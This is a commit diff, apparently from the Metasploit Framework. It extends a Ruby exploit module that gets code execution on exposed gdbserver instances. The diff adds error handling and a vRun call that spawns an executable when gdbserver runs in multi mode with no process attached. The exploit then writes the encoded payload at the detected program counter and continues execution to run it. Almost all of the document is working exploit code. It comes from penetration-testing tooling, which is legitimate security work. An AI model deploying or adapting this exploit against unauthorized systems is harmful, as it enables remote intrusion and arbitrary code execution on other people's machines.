Implement running exe in multi.
parent
268d42cf07
commit
4293500a5e
|
@ -15,6 +15,12 @@ module Exploit::Remote::Gdb
|
|||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
# thrown when an expected ACK packet is never received
|
||||
class BadAckError < RuntimeError; end
|
||||
|
||||
# thrown when a response is incorrect
|
||||
class BadResponseError < RuntimeError; end
|
||||
|
||||
# Default list of supported GDB features to send the to the target
|
||||
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
|
||||
|
||||
|
@ -31,10 +37,10 @@ module Exploit::Remote::Gdb
|
|||
end
|
||||
|
||||
# Reads an ACK packet from the wire
|
||||
# @raise [RuntimeError] if a bad ACK is received
|
||||
# @raise [BadAckError] if a bad ACK is received
|
||||
def read_ack
|
||||
unless sock.get_once == '+'
|
||||
raise 'received bad ack'
|
||||
raise BadAckError
|
||||
end
|
||||
vprint_status('Received ack...')
|
||||
end
|
||||
|
@ -53,9 +59,11 @@ module Exploit::Remote::Gdb
|
|||
# @param opts [Hash] the options hash
|
||||
# @option opts :decode [Boolean] rle decoding should be applied to the response
|
||||
# @return [String] the response
|
||||
# @raise [BadResponseError] if the expected response is missing
|
||||
def read_response(opts={})
|
||||
decode = opts.fetch(:decode, false)
|
||||
res = sock.get_once
|
||||
raise BadResponseError if res.nil?
|
||||
res = decode_rle(res) if decode
|
||||
vprint_status('Result: '+res)
|
||||
send_ack
|
||||
|
@ -95,9 +103,12 @@ module Exploit::Remote::Gdb
|
|||
|
||||
# Steps execution and finds $PC pointer and architecture
|
||||
# @return [Hash] with :arch and :pc keys containing architecture and PC pointer
|
||||
# @raise [BadResponseError] if necessary data is missing
|
||||
def process_info
|
||||
data = step
|
||||
pc_data = data.split(';')[2].split(':')
|
||||
pc_data = data.split(';')[2]
|
||||
raise BadResponseError if pc_data.nil?
|
||||
pc_data = pc_data.split(':')
|
||||
my_arch = PC_REGISTERS[pc_data[0]]
|
||||
pc = pc_data[1]
|
||||
|
||||
|
@ -107,7 +118,8 @@ module Exploit::Remote::Gdb
|
|||
|
||||
{
|
||||
arch: my_arch,
|
||||
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '')
|
||||
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''),
|
||||
pc_raw: Integer(pc, 16)
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -141,6 +153,11 @@ module Exploit::Remote::Gdb
|
|||
read_response(decode: true)
|
||||
end
|
||||
|
||||
def run(filename)
|
||||
send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}"
|
||||
read_response
|
||||
end
|
||||
|
||||
# Performs a handshake packet exchange
|
||||
# @param features [String] the list of supported features to tell the remote
|
||||
# host that the client supports (defaults to +DEFAULT_GDB_FEATURES+)
|
||||
|
|
|
@ -27,6 +27,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'PrependFork' => true
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXE_FILE', [
|
||||
false,
|
||||
"The exe to spawn when gdbserver is not attached to a process.",
|
||||
'/bin/true'
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -35,13 +43,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status "Performing handshake with gdbserver..."
|
||||
handshake
|
||||
|
||||
print_status "Stepping program to find PC..."
|
||||
gdb_pc, gdb_arch = process_info.values_at :pc, :arch
|
||||
begin
|
||||
print_status "Stepping program to find PC..."
|
||||
gdb_data = process_info
|
||||
rescue BadAckError, BadResponseError
|
||||
# gdbserver is running with the --multi flag and is not currently
|
||||
# attached to any process. let's attach to /bin/true or something.
|
||||
print_status "No process loaded, attempting to load /bin/true..."
|
||||
run(datastore['EXE_FILE'])
|
||||
gdb_data = process_info
|
||||
end
|
||||
|
||||
p = regenerate_payload(nil, gdb_arch, nil)
|
||||
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
|
||||
|
||||
unless payload.arch.include? gdb_arch
|
||||
fail_with(
|
||||
Msf::Exploit::Failure::BadConfig,
|
||||
"The payload architecture is incorrect: "+
|
||||
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
|
||||
)
|
||||
end
|
||||
|
||||
print_status "Writing payload at #{gdb_pc}..."
|
||||
write(p.encoded, gdb_pc)
|
||||
write(payload.encoded, gdb_pc)
|
||||
|
||||
print_status "Executing the payload..."
|
||||
continue
|
||||
|
|
Loading…
Reference in New Issue